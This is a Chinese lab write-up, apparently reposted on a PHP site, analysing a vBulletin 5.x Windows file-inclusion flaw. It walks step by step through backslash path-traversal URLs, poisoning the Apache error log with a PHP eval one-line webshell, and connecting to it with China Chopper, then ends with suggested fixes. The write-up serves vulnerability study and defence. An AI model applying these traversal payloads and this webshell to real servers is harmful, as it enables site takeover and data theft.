0

0

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

王林

王林

发布时间:2023-05-19 23:46:04

|

1619人浏览过

|

来源于亿速云

转载

一、漏洞介绍

vbulletin中存在一个文件包含问题,可使恶意访问者包含来自 vbulletin 服务器的文件并且执行任意 php 代码。未经验证的恶意访问者可通过向index.php发出包含routestring=参数的get 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞

二、漏洞原理

index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,我们来看主要的处理代码。

该代码位于/includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现/

对于Linux服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和在表达路径时,是等价的,而程序并没有对进行处理,所以导致本次针对Windows服务器的文件包含漏洞。

影响版本

版本号 vBulletin v5.x版本  漏洞发现者已联系厂商,暂未得到回复

三、漏洞利用

接下来的实操部分,我们将逐步深入漏洞的理解和利用,先利用页面报错,获取服务器相关信息;再包含服务器内部文件,执行phpinfo()验证代码执行;最后包含写入PHP一句话的网站日志文件,获取网站管理权限。

步骤1  漏洞验证

这一步,我们简单利用报错获取服务器信息,然后利用漏洞去包含执行phpinfo()函数进行验证

1.打开目标网址172.16.12.2/vb5/index.php,网站主页如下:

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

2.访问漏洞页面,查看报错信息

在浏览器中打开172.16.12.2/vb5/index.php?routestring=.\,报错信息如下:

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

可以看见页面使用require_once()包含当前路径(C:phpstudyWWW b5/core/.\)时不被允许而报错,报错信息泄露了网站的绝对路径,以及网站搭建软件:phpstudy

phpstudy 搭建网站时,默认会在网站根目录留下  l.php和phpinfo.php文件,通常网站管理员会删除或者修改这两个文件因为 还有转义的含义,而表示路径时\和是等价的,所以我们使用\防止被转义(本实验也可完成)

3.访问 phpinfo.txt文件

此处为了验证包含漏洞,网站根目录下存有phpinfo.txt文件,内容为,我们尝试直接访问该文件,http://172.16.12.2/phpinfo.txt

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

网站直接将文本内容显示出来了

4.包含 phpinfo.txt文件

我们接着尝试包含该文件,打开构造的链接http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\WWW\phpinfo.txt

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

此处我们已知晓网站在服务器上的绝对路径,所以使用多个..\加上文件路径,表示被包含文件的网站路径,包含该文件后,服务器将文件当做php文件进行解析,执行了phpinfo()函数。

phpinfo():PHP内置函数,输出PHP服务器的配置信息

步骤2 漏洞利用

一般情况下,PHP文件包含漏洞利用的方式都是先利用网站上传点,上传含有恶意代码的文件,然后找到上传后的文件路径,构造URL,通过包含漏洞执行恶意代码。但是,如果网站本身无可利用的上传点,或者对上传的文件做了限制,使得我们无法获知文件的路径,亦或者对输入时获取的参数做出过滤,这种方法就行不通了。

由上述可知,程序对包含的文件后缀做出了限制,在没有其他利用的情况下,我们可以选择包含网站本身存在文件的方式,也就是本次实验的利用方式:包含网站日志文件

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: phpstudypachelogserror.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

Text-To-Song
Text-To-Song

免费的实时语音转换器和调制器

下载
http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

具体配置如下图,修改后确定

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


vBulletin5.x版本通杀远程代码执行漏洞的实例分析

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\apache\logs\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
C# ASP.NET Core微服务架构与API网关实践
C# ASP.NET Core微服务架构与API网关实践

本专题围绕 C# 在现代后端架构中的微服务实践展开,系统讲解基于 ASP.NET Core 构建可扩展服务体系的核心方法。内容涵盖服务拆分策略、RESTful API 设计、服务间通信、API 网关统一入口管理以及服务治理机制。通过真实项目案例,帮助开发者掌握构建高可用微服务系统的关键技术,提高系统的可扩展性与维护效率。

16

2026.03.11

Go高并发任务调度与Goroutine池化实践
Go高并发任务调度与Goroutine池化实践

本专题围绕 Go 语言在高并发任务处理场景中的实践展开,系统讲解 Goroutine 调度模型、Channel 通信机制以及并发控制策略。内容包括任务队列设计、Goroutine 池化管理、资源限制控制以及并发任务的性能优化方法。通过实际案例演示,帮助开发者构建稳定高效的 Go 并发任务处理系统,提高系统在高负载环境下的处理能力与稳定性。

23

2026.03.10

Kotlin Android模块化架构与组件化开发实践
Kotlin Android模块化架构与组件化开发实践

本专题围绕 Kotlin 在 Android 应用开发中的架构实践展开,重点讲解模块化设计与组件化开发的实现思路。内容包括项目模块拆分策略、公共组件封装、依赖管理优化、路由通信机制以及大型项目的工程化管理方法。通过真实项目案例分析,帮助开发者构建结构清晰、易扩展且维护成本低的 Android 应用架构体系,提升团队协作效率与项目迭代速度。

75

2026.03.09

JavaScript浏览器渲染机制与前端性能优化实践
JavaScript浏览器渲染机制与前端性能优化实践

本专题围绕 JavaScript 在浏览器中的执行与渲染机制展开,系统讲解 DOM 构建、CSSOM 解析、重排与重绘原理,以及关键渲染路径优化方法。内容涵盖事件循环机制、异步任务调度、资源加载优化、代码拆分与懒加载等性能优化策略。通过真实前端项目案例,帮助开发者理解浏览器底层工作原理,并掌握提升网页加载速度与交互体验的实用技巧。

95

2026.03.06

Rust内存安全机制与所有权模型深度实践
Rust内存安全机制与所有权模型深度实践

本专题围绕 Rust 语言核心特性展开,深入讲解所有权机制、借用规则、生命周期管理以及智能指针等关键概念。通过系统级开发案例,分析内存安全保障原理与零成本抽象优势,并结合并发场景讲解 Send 与 Sync 特性实现机制。帮助开发者真正理解 Rust 的设计哲学,掌握在高性能与安全性并重场景中的工程实践能力。

218

2026.03.05

PHP高性能API设计与Laravel服务架构实践
PHP高性能API设计与Laravel服务架构实践

本专题围绕 PHP 在现代 Web 后端开发中的高性能实践展开,重点讲解基于 Laravel 框架构建可扩展 API 服务的核心方法。内容涵盖路由与中间件机制、服务容器与依赖注入、接口版本管理、缓存策略设计以及队列异步处理方案。同时结合高并发场景,深入分析性能瓶颈定位与优化思路,帮助开发者构建稳定、高效、易维护的 PHP 后端服务体系。

420

2026.03.04

AI安装教程大全
AI安装教程大全

2026最全AI工具安装教程专题:包含各版本AI绘图、AI视频、智能办公软件的本地化部署手册。全篇零基础友好,附带最新模型下载地址、一键安装脚本及常见报错修复方案。每日更新,收藏这一篇就够了,让AI安装不再报错!

168

2026.03.04

Swift iOS架构设计与MVVM模式实战
Swift iOS架构设计与MVVM模式实战

本专题聚焦 Swift 在 iOS 应用架构设计中的实践,系统讲解 MVVM 模式的核心思想、数据绑定机制、模块拆分策略以及组件化开发方法。内容涵盖网络层封装、状态管理、依赖注入与性能优化技巧。通过完整项目案例,帮助开发者构建结构清晰、可维护性强的 iOS 应用架构体系。

222

2026.03.03

C++高性能网络编程与Reactor模型实践
C++高性能网络编程与Reactor模型实践

本专题围绕 C++ 在高性能网络服务开发中的应用展开,深入讲解 Socket 编程、多路复用机制、Reactor 模型设计原理以及线程池协作策略。内容涵盖 epoll 实现机制、内存管理优化、连接管理策略与高并发场景下的性能调优方法。通过构建高并发网络服务器实战案例,帮助开发者掌握 C++ 在底层系统与网络通信领域的核心技术。

33

2026.03.03

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号